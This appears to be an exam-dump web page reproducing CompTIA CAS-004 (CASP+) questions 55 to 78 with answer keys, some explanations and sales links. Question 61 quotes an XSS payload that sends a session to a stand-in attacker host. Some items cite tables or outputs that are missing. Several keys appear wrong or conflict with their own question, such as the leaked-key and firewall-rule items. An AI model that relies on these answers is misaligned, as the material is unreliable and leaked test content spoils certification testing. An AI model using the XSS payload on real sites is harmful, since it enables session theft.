Latest CAS-004 Exam Dumps CompTIA Exam from Training Expert ValidDumps
Pass CompTIA CompTIA Advanced Security Practitioner (CASP+) Exam PDF Dumps | Recently Updated 620 Questions
CompTIA CAS-004 is a certification exam designed for IT professionals who are looking to validate their advanced-level security skills and knowledge. CAS-004 exam is called the CompTIA Advanced Security Practitioner (CASP+), and it is a globally recognized credential that demonstrates proficiency in the field of cybersecurity.
Preparing for the CASP+ certification exam requires a solid understanding of advanced-level security concepts and hands-on experience with security technologies. CompTIA offers a variety of training and study resources to help candidates prepare for the exam, including online courses, study guides, and practice exams. Other resources include industry publications, security conferences, and professional organizations.
NEW QUESTION # 55
A company undergoing digital transformation is reviewing the resiliency of a CSP and is concerned about meeting SLA requirements in the event of a CSP incident.
Which of the following would be BEST to proceed with the transformation?
- A. An on-premises solution as a backup
- B. A multicloud provider solution
- C. An active-active solution within the same tenant
- D. A load balancer with a round-robin configuration
Answer: B
Explanation:
A multicloud provider solution is the best option for proceeding with the digital transformation while ensuring SLA (service level agreement) requirements in the event of a CSP (cloud service provider) incident. A multicloud provider solution is a strategy that involves using multiple CSPs for different cloud services or applications, such as infrastructure, platform, or software as a service. A multicloud provider solution can provide resiliency, redundancy, and availability for cloud services or applications, as it can distribute the workload and risk across different CSPs and avoid single points of failure or vendor lock-in. An on-premises solution as a backup is not a good option for proceeding with the digital transformation, as it could involve high costs, complexity, or maintenance for maintaining both cloud and on-premises resources, as well as affect the scalability or flexibility of cloud services or applications. A load balancer with a round-robin configuration is not a good option for proceeding with the digital transformation, as it could introduce latency or performance issues for cloud services or applications, as well as not provide sufficient resiliency or redundancy in case of a CSP incident. An active-active solution within the same tenant is not a good option for proceeding with the digital transformation, as it could still be affected by a CSP incident that impacts the entire tenant or region, as well as increase the costs or complexity of managing multiple instances of cloud services or applications. Verified References: https://www.comptia.org/blog/what-is-multicloud
https://partners.comptia.org/docs/default-source/resources/casp-content-guide
NEW QUESTION # 56
A security analyst is reviewing network connectivity on a Linux workstation and examining the active TCP connections using the command line.
Which of the following commands would be the BEST to run to view only active Internet connections?
- A. sudo netstat -plntu | grep -v "Foreign Address"
- B. sudo netstat -nlt -p | grep "ESTABLISHED"
- C. sudo netstat -pnut | grep -P ^tcp
- D. sudo netstat -antu | grep "LISTEN" | awk '{print$5}'
- E. sudo netstat -pnut -w | column -t -s $'\w'
Answer: C
Explanation:
Reference:
The netstat command is a tool that displays network connections, routing tables, interface statistics, masquerade connections, and multicast memberships. The command has various options that can modify its output. The options used in the correct answer are:
p: Show the PID and name of the program to which each socket belongs.
n: Show numerical addresses instead of trying to determine symbolic host, port or user names.
u: Show only UDP connections.
t: Show only TCP connections.
The grep command is a tool that searches for a pattern in a file or input. The option used in the correct answer is:
P: Interpret the pattern as a Perl-compatible regular expression (PCRE).
The pattern used in the correct answer is ^tcp, which means any line that starts with tcp. This will filter out any UDP connections from the output.
The sudo command is a tool that allows a user to run programs with the security privileges of another user (usually the superuser or root). This is necessary to run the netstat command with the -p option, which requires root privileges.
The correct answer will show only active TCP connections with numerical addresses and program names, which can be considered as active Internet connections. The other answers will either show different types of connections (such as listening or local), use different options that are not relevant (such as -a, -l, -w, or -s), or use different commands that are not useful (such as awk or column). Reference: https://man7.org/linux/man-pages/man8/netstat.8.html https://man7.org/linux/man-pages/man1/grep.1.html https://man7.org/linux/man-pages/man8/sudo.8.html
NEW QUESTION # 57
A security architect is given the following requirements to secure a rapidly changing enterprise with an increasingly distributed and remote workforce
* Cloud-delivered services
* Full network security stack
* SaaS application security management
* Minimal latency for an optimal user experience
* Integration with the cloud 1AM platform
Which of the following is the BEST solution?
- A. NGFW
- B. Routing and Remote Access Service (RRAS)
- C. SASE
- D. Managed Security Service Provider (MSSP)
Answer: C
NEW QUESTION # 58
A software developer needs to add an authentication method to a web application. The following requirements must be met:
- The web application needs to use well-supported standards.
- The initial login to the web application should rely on an outside,
trusted third party.
- The login needs to be maintained for up to six months.
Which of the following would best support these requirements? (Choose two.)
- A. SAML
- B. RADIUS
- C. Kerberos
- D. Remote attestation
- E. EAP
- F. JWT
Answer: A,F
Explanation:
To meet the requirements for authentication using trusted third parties and session maintenance, SAML (Security Assertion Markup Language) and JWT (JSON Web Token) are the best options.
SAML is widely used for single sign-on (SSO) and federated authentication, allowing users to authenticate with an external identity provider (trusted third party). JWT is commonly used for maintaining authenticated sessions across web applications and is well-suited for long-term session management, like the six-month duration mentioned. Together, these solutions meet the requirements for standards-based authentication and long-lasting sessions.
NEW QUESTION # 59
A product manager is concerned about the unintentional sharing of the company's intellectual property through employees' use of social media. Which of the following would BEST mitigate this risk?
- A. Web content filter
- B. Network segmentation
- C. Web application firewall
- D. Virtual desktop environment
Answer: A
NEW QUESTION # 60
A security engineer thinks the development team has been hard-coding sensitive environment variables in its code.
Which of the following would BEST secure the company's CI/CD pipeline?
- A. Utilizing a trusted secrets manager
- B. Deploying instance tagging
- C. Introducing the use of container orchestration
- D. Performing DAST on a weekly basis
Answer: A
Explanation:
Reference:
A trusted secrets manager is a tool or service that securely stores and manages sensitive information, such as passwords, API keys, tokens, certificates, etc. A trusted secrets manager can help secure the company's CI/CD (Continuous Integration/Continuous Delivery) pipeline by preventing hard-coding sensitive environment variables in the code, which can expose them to unauthorized access or leakage. A trusted secrets manager can also enable encryption, rotation, auditing, and access control for the secrets. Reference: https://www.hashicorp.com/resources/what-is-a-secret-manager https://dzone.com/articles/how-to-securely-manage-secrets-in-a-ci-cd-pipeline
NEW QUESTION # 61
A threat analyst notices the following URL while going through the HTTP logs.
http://www.safebrowsing~~~/search.asp?q=<script>x=newimage;x.src="http:
//baddomain~~~/session;
Which of the following attack types is the threat analyst seeing?
- A. CSRF
- B. SQL injection
- C. Session hijacking
- D. XSS
Answer: D
NEW QUESTION # 62
A software company wants to build a platform by integrating with another company's established product. Which of the following provisions would be MOST important to include when drafting an agreement between the two companies?
- A. Source code escrow
- B. Safe harbor considerations
- C. Shared responsibility
- D. Data sovereignty
Answer: C
Explanation:
When drafting an agreement between two companies, it is important to clearly define the responsibilities of each party. This is particularly relevant when a software company is looking to integrate with an established product. A shared responsibility agreement ensures that both parties understand their respective responsibilities and are able to work together efficiently and effectively. For example, the software company might be responsible for integrating the product and ensuring it meets user needs, while the established product provider might be responsible for providing ongoing support and maintenance. By outlining these responsibilities in the agreement, both parties can ensure that the platform is built and maintained successfully.
NEW QUESTION # 63
A security architect recommends replacing the company's monolithic software application with a containerized solution. Historically, secrets have been stored in the application's configuration files. Which of the following changes should the security architect make in the new system?
- A. Use a secrets management tool.
- B. Store the secrets inside the Dockerfiles.
- C. Save secrets in key escrow.
- D. Run all Dockerfiles in a randomized namespace.
Answer: A
Explanation:
A secrets management tool is a tool that helps companies securely store, transmit, and manage sensitive digital authentication credentials such as passwords, keys, tokens, certificates, and other secrets. A secrets management tool can help prevent secrets sprawl, enforce business policies, and inject secrets into pipelines. A secrets management tool can also help protect secrets from unauthorized access, leakage, or compromise by using encryption, tokenization, access control, auditing, and rotation. A secrets management tool is a recommended solution for replacing the company's monolithic software application with a containerized solution, because it can provide a centralized and consistent way to manage secrets across multiple containers and environments.
NEW QUESTION # 64
A cybersecurity analyst created the following tables to help determine the maximum budget amount the business can justify spending on an improved email filtering system:
Which of the following meets the budget needs of the business?
- A. Filter XYZ
- B. Filter GHI
- C. Filter TUV
- D. Filter ABC
Answer: A
Explanation:
Explanation
Filter XYZ is the best option that meets the budget needs of the business. Filter XYZ has an ALE of $1 million per year, which is lower than any other filter option. ALE stands for annualized loss expectancy, which is a measure of how much money a business can expect to lose due to a risk over a year. ALE is calculated by multiplying the annualized rate of occurrence (ARO) of an event by the single loss expectancy (SLE) of an event. ARO is how often an event is expected to occur in a year. SLE is how much money an event will cost each time it occurs. Therefore, ALE = ARO x SLE. Filter XYZ has an ARO of 0.1 and an SLE of $10 million, so ALE = 0.1 x $10 million = $1 million. Verified References:
https://www.comptia.org/training/books/casp-cas-004-study-guide ,
https://www.techopedia.com/definition/24771/annualized-loss-expectancy-ale
NEW QUESTION # 65
A security analyst sees that a hacker has discovered some keys and they are being made available on a public website. The security analyst is then able to successfully decrypt the data using the keys from the website. Which of the following should the security analyst recommend to protect the affected data?
- A. Key escrow
- B. Key rotation
- C. Cryptographic obfuscation
- D. Zeroization
- E. Key revocation
Answer: C
NEW QUESTION # 66
Legal authorities notify a company that its network has been compromised for the second time in two years. The investigation shows the attackers were able to use the same vulnerability on different systems in both attacks.
Which of the following would have allowed the security team to use historical information to protect against the second attack?
- A. Tabletop exercise
- B. Recovery point objectives
- C. Lessons learned
- D. Key risk indicators
Answer: C
NEW QUESTION # 67
Which of the following describes how a risk assessment is performed when an organization has a critical vendor that provides multiple products?
- A. At the individual product level
- B. Using a third-party audit report
- C. Through the selection of a random product
- D. By choosing a major product
Answer: A
Explanation:
When conducting a risk assessment for a vendor that provides multiple products, it is important to perform the assessment at the individual product level. Each product might have different risk factors, security requirements, and vulnerabilities, so assessing each one ensures a comprehensive understanding of the risks involved. Assessing randomly or only major products could leave gaps in understanding the risks for smaller but still critical products.
NEW QUESTION # 68
A company is moving most of its customer-facing production systems to the cloud-facing production systems to the cloud. IaaS is the service model being used. The Chief Executive Officer is concerned about the type of encryption available and requires the solution must have the highest level of security.
Which of the following encryption methods should the cloud security engineer select during the implementation phase?
- A. Array controller-based
- B. Proxy-based
- C. Instance-based
- D. Storage-based
Answer: C
NEW QUESTION # 69
A cloud architect needs to isolate the most sensitive portion of the network while maintaining hosting in a public cloud.
Which of the following configurations can be employed to support this effort?
- A. Create a single-tenancy security group in the public cloud that hosts only similar types of servers
- B. Sandbox the servers with the public cloud by server type
- C. Create a hybrid cloud with an on-premises instance for the most sensitive server types.
- D. Privatize the cloud by implementing an on-premises instance.
Answer: C
NEW QUESTION # 70
An organization needs to classify its systems and data in accordance with external requirements. Which of the following roles is best qualified to perform this task?
- A. Data processor
- B. Systems administrator
- C. Data steward
- D. Data custodian
- E. Data owner
Answer: E
Explanation:
The data owner is best qualified to classify systems and data in accordance with external requirements. The data owner is responsible for determining how data should be classified based on its sensitivity, value, and regulatory requirements. They have the authority to decide on classification levels such as public, confidential, or secret, and ensure compliance with external standards. Other roles, like data custodians or processors, support the implementation of data management, but the data owner has the final responsibility for classification. CASP+ highlights the role of data owners in determining data classification and ensuring compliance with external requirements.
References:
CASP+ CAS-004 Exam Objectives: Domain 1.0 - Risk Management (Data Classification and Data Owner Responsibilities) CompTIA CASP+ Study Guide: Data Classification and Governance Responsibilities of the Data Owner
NEW QUESTION # 71
A smart switch has the ability to monitor electrical levels and shut off power to a building in the event of power surge or other fault situation. The switch was installed on a wired network in a hospital and is monitored by the facilities department via a cloud application. The security administrator isolated the switch on a separate VLAN and set up a patching routine. Which of the following steps should also be taken to harden the smart switch?
- A. Place the switch in a Faraday cage.
- B. Change the default password for the switch.
- C. Set up an air gap for the switch.
- D. Install a cable lock on the switch.
Answer: B
NEW QUESTION # 72
A security architect is reviewing the following proposed corporate firewall architecture and configuration:
Both firewalls are stateful and provide Layer 7 filtering and routing. The company has the following requirements:
Web servers must receive all updates via HTTP/S from the corporate network.
Web servers should not initiate communication with the Internet.
Web servers should only connect to preapproved corporate database servers.
Employees' computing devices should only connect to web services over ports 80 and 443.
Which of the following should the architect recommend to ensure all requirements are met in the MOST secure manner? (Choose two.)
- A. Add the following to Firewall_A: 15 PERMIT FROM 10.0.0.0/16 TO 0.0.0.0/0 TCP 80,443
- B. Add the following to Firewall_A: 15 PERMIT FROM 10.0.0.0/16 TO 0.0.0.0/0 TCP/UDP 0-65535
- C. Add the following to Firewall_B: 15 PERMIT FROM 0.0.0.0/0 TO 10.0.0.0/16 TCP/UDP 0-65535
- D. Add the following to Firewall_B: 15 PERMIT FROM 192.168.1.0/24 TO 10.0.2.10/32 TCP 80,443
- E. Add the following to Firewall_A: 15 PERMIT FROM 192.168.1.0/24 TO 0.0.0.0 TCP 80,443
- F. Add the following to Firewall_B: 15 PERMIT FROM 10.0.0.0/16 TO 0.0.0.0 TCP/UDP 0-65535
Answer: A,C
NEW QUESTION # 73
A web application server is running a legacy operating system with an unpatched RCE (Remote Code Execution) vulnerability. The server cannot be upgraded until the corresponding application code is updated.
Which of the following compensating controls would prevent successful exploitation?
- A. Segmentation
- B. CASB
- C. UEBA
- D. HIPS
Answer: A
Explanation:
Segmentation isolates the vulnerable server into a separate network segment, reducing its exposure to potential attackers. By implementing firewalls or virtual LANs (VLANs), segmentation minimizes the risk of lateral movement and external exploitation, aligning with CASP+ objective 1.3, which emphasizes implementing appropriate compensating controls to address vulnerabilities.
________________________________________
NEW QUESTION # 74
A security consultant is attempting to discover if the company is utilizing databases on client machines to store the customer data. The consultant reviews the following information:
Which of the following commands would have provided this output?
- A. netstat -a
- B. sqlmap -w
- C. ifconfig -arp
- D. arp -s
Answer: A
NEW QUESTION # 75
A networking team was asked to provide secure remote access to all company employees. The team decided to use client-to-site VPN as a solution. During a discussion, the Chief Information Security Officer raised a security concern and asked the networking team to route the Internet traffic of remote users through the main office infrastructure. Doing this would prevent remote users from accessing the Internet through their local networks while connected to the VPN.
Which of the following solutions does this describe?
- A. Asymmetric routing
- B. Split tunneling
- C. SSH tunneling
- D. Full tunneling
Answer: D
Explanation:
Explanation
The concern is users operating in a spit tunnel config which is what is being described. Using a Full Tunnel would route traffic from all applications through a single tunnel.
https://cybernews.com/what-is-vpn/split-tunneling/
NEW QUESTION # 76
A company's employees are not permitted to access company systems while traveling internationally. The company email system is configured to block logins based on geographic location, but some employees report their mobile phones continue to sync email traveling . Which of the following is the MOST likely explanation? (Select TWO.)
- A. Outdated escalation attack
- B. Disabled GPS on mobile devices
- C. Privilege escalation attack
- D. Unrestricted email administrator accounts
- E. VPN on the mobile device
- F. Chief use of UDP protocols
Answer: B,E
NEW QUESTION # 77
An organization is integrating an ICS and wants to ensure the system is cyber resilient.
Unfortunately, many of the specialized components are legacy systems that cannot be patched.
The existing enterprise consists of mission-critical systems that require 99.9% uptime.
To assist in the appropriate design of the system given the constraints, which of the following MUST be assumed?
- A. Vulnerable components
- B. Presence of open-source software
- C. Time criticality of systems
- D. Operational impact due to attack
Answer: A
NEW QUESTION # 78
......
CompTIA CASP+ certification is recognized worldwide as a validation of advanced-level security skills and knowledge. It is a vendor-neutral certification, which means that it is not tied to any specific hardware or software platform. This makes it an ideal certification for IT professionals who work with a variety of systems and technologies.
Updated Test Engine to Practice CAS-004 Dumps & Practice Exam: https://www.validdumps.top/CAS-004-exam-torrent.html
Dumps Collection CAS-004 Test Engine Dumps Training With 620 Questions: https://drive.google.com/open?id=1BIM2-Sh-GpJfZ_9-WRca_kp5MEla6Ac5